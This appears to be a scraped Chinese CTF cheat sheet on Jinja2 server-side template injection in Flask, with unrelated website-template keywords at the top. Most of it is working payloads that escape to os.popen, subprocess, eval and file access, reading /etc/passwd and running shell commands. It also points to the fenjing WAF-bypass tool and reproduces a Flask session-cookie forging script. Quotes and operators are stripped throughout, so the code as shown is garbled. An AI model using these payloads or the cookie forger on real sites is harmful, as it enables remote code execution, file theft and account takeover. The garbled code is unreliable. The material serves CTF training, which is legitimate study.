定制网站模板,wordpress 短代码嵌套,会员类网站模板,网站是否能够被恶意镜像1.Jinjia2模版注入 Flask是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug #xff0c;模板引擎则使用 Jinja2。jinja2是Flask作者开发的一个模板系统#xff0c;起初是仿django模板的一个模板引擎#xff0c;为Flask提供模板支持#xff0c;由于…1.Jinjia2模版注入 Flask是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug 模板引擎则使用 Jinja2。jinja2是Flask作者开发的一个模板系统起初是仿django模板的一个模板引擎为Flask提供模板支持由于其灵活快速和安全等优点被广泛使用。在jinja2中存在三种语法
表达式 {{ ... }}
用于装载字符串、变量、函数调用等
语句 {% ... %}
用于装载控制语句比如if判断、for循环等
注释 {# ... #}
用于装载一个注释模板渲染的时候会被忽略掉模版注入本质上是通过数组字符串类获取到Object类然后再从Object身上获取Object的其他子类其中有的子类可以执行命令
2.获取基类
一使用__base__获取
.__class__.__base__
二使用__bases__获取
.__bases__[0]
三使用__mro__获取
.__class__.__mro__这样先查看获取到的数据确定object类在list中的第几个
.__class__.__mro__[1]3.获取子类列表
.__class__.__base__.__subclasses__()
.__class__.__bases__[0].__subclasses__()
.__class__.__mro__[1].__subclasses__()4.寻找getshell类subprocess.Popen、site._Printer、_sitebuiltins._Printer、os.system方法
{{.__class__.__bases__[0].__subclasses__()[num].__init__.__globals__[popen](whoami).read()}}
{{.__class__.__bases__[0].__subclasses__()[num].__init__.__globals__.__import__(os).popen(whoami).read()}}
num的具体数值根据shell类在subclasses中index确定注意index是从0开启计数class _sitebuiltins._Printer 执行命令
{{.__class__.__base__.__subclasses__()[80].__init__.__globals__[__builtins__].eval(__import__(os).popen(whoami).read())}}type file 读写文件,file类位置一般为40直接调用
{{.__class__.__base__.__subclasses__()[40](/etc/passwd).read()}}
{{().__class__.__base__.__subclasses__()[40](/var/www/html/input.txt, w).write(hello123)}}class site._Printer 直接用os的popen执行命令(绕过globals)
{{.__class__.__base__.__subclasses__()[71].__init__[__globals__][os].popen(ls).read()}}
如果system被过滤用os的listdir读取目录file模块读取文件
{{().__class__.__base__.__subclasses__()[71].__init__.__globals__[os].listdir(.)}}class subprocess.Popen 执行命令
{{.__class__.__mro__[1].__subclasses__()[258](ls,shellTrue,stdout-1).communicate()[0].strip()}}class warnings.catch_warnings 执行命令
调用eval
{{[].__class__.__base__.__subclasses__()[59].__init__[__globals__][__builtins__][eval](__import__(os).popen(ls).read())}}
{{.__class__.__base__.__subclasses__()[59].__init__.__globals__.__builtins__[__import__](os).__dict__[popen](ls).read()}}# 读写文件 read()write()
{{.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__[__builtins__].[file](/etc/passwd).read()}}调用system方法。不包含system可以绕过过滤system的情况
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__[linecache].__dict__.values()[12].__dict__.values()[144](whoami)}}
利用commands进行命令执行
{{{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__[__builtins__][__import__](commands).getstatusoutput(ls)}}5.注入样例 [WesternCTF2018]shrine(Jinja2模板注入) https://www.cnblogs.com/dghh/p/18311335
6.焚靖工具
pip install fenjing
python -m fenjing webui焚靖是一个针对CTF赛事中常规Jinja SSTI题目开发的WAF检测与绕过工具。 焚靖融合了CTF赛事中常见的SSTI绕过技巧可以灵活组合使用各类绕过技巧全自动构建payload绕过WAF。 其支持自动扫描目标网站中的form元素进行攻击也支持手动指定payload提交方式让其自动分析并产生payload。 它还支持在攻击成功后直接返回一个模拟终端方便选手执行任意Linux Shell指令。也可以在攻击成功后生成并返回对应的payload 焚靖既可以作为命令行程序使用也可以作为python库导入到脚本中其还提供一个网页UI方便不熟悉命令行的选手使用。 输入命令行后直接到网页界面操作 7.cookie伪造 flask的session是通过加密后保存在cookie中的有加密就需要有解密用的密钥只要用到了flask的session模块就一定要配置’SECRET_KEY’这个全局宏。一般设置为24位的字符。Serect-key可以通过{{config}}或读取源码的方式获得有key以后就是可以通过flask-session-cookie-manager-master来伪造session
import sys
import zlib
from itsdangerous import base64_decode
import ast# Abstract Base Classes (PEP 3119)
if sys.version_info[0] 3: # 3.0raise Exception(Must be using at least Python 3)
elif sys.version_info[0] 3 and sys.version_info[1] 4: # 3.0 3.4from abc import ABCMeta, abstractmethod
else: # 3.4from abc import ABC, abstractmethod# Lib for argument parsing
import argparse# external Imports
from flask.sessions import SecureCookieSessionInterfaceclass MockApp(object):def __init__(self, secret_key):self.secret_key secret_keyif sys.version_info[0] 3 and sys.version_info[1] 4: # 3.0 3.4class FSCM(metaclassABCMeta):def encode(secret_key, session_cookie_structure): Encode a Flask session cookie try:app MockApp(secret_key)session_cookie_structure dict(ast.literal_eval(session_cookie_structure))si SecureCookieSessionInterface()s si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return [Encoding error] {}.format(e)raise edef decode(session_cookie_value, secret_keyNone): Decode a Flask cookie try:if (secret_key None):compressed Falsepayload session_cookie_valueif payload.startswith(.):compressed Truepayload payload[1:]data payload.split(.)[0]data base64_decode(data)if compressed:data zlib.decompress(data)return dataelse:app MockApp(secret_key)si SecureCookieSessionInterface()s si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return [Decoding error] {}.format(e)raise e
else: # 3.4class FSCM(ABC):def encode(secret_key, session_cookie_structure): Encode a Flask session cookie try:app MockApp(secret_key)session_cookie_structure dict(ast.literal_eval(session_cookie_structure))si SecureCookieSessionInterface()s si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return [Encoding error] {}.format(e)raise edef decode(session_cookie_value, secret_keyNone): Decode a Flask cookie try:if (secret_key None):compressed Falsepayload session_cookie_valueif payload.startswith(.):compressed Truepayload payload[1:]data payload.split(.)[0]data base64_decode(data)if compressed:data zlib.decompress(data)return dataelse:app MockApp(secret_key)si SecureCookieSessionInterface()s si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return [Decoding error] {}.format(e)raise eif __name__ __main__:# Args are only relevant for __main__ usage## Description for helpparser argparse.ArgumentParser(descriptionFlask Session Cookie Decoder/Encoder,epilogAuthor : Wilson Sumanang, Alexandre ZANNI)## prepare sub commandssubparsers parser.add_subparsers(helpsub-command help, destsubcommand)## create the parser for the encode commandparser_encode subparsers.add_parser(encode, helpencode)parser_encode.add_argument(-s, --secret-key, metavarstring,helpSecret key, requiredTrue)parser_encode.add_argument(-t, --cookie-structure, metavarstring,helpSession cookie structure, requiredTrue)## create the parser for the decode commandparser_decode subparsers.add_parser(decode, helpdecode)parser_decode.add_argument(-s, --secret-key, metavarstring,helpSecret key, requiredFalse)parser_decode.add_argument(-c, --cookie-value, metavarstring,helpSession cookie value, requiredTrue)## get argsargs parser.parse_args()## find the option chosenif (args.subcommand encode):if (args.secret_key is not None and args.cookie_structure is not None):print(FSCM.encode(args.secret_key, args.cookie_structure))elif (args.subcommand decode):if (args.secret_key is not None and args.cookie_value is not None):print(FSCM.decode(args.cookie_value, args.secret_key))elif (args.cookie_value is not None):print(FSCM.decode(args.cookie_value))伪造举例 https://blog.csdn.net/a3320315/article/details/104272833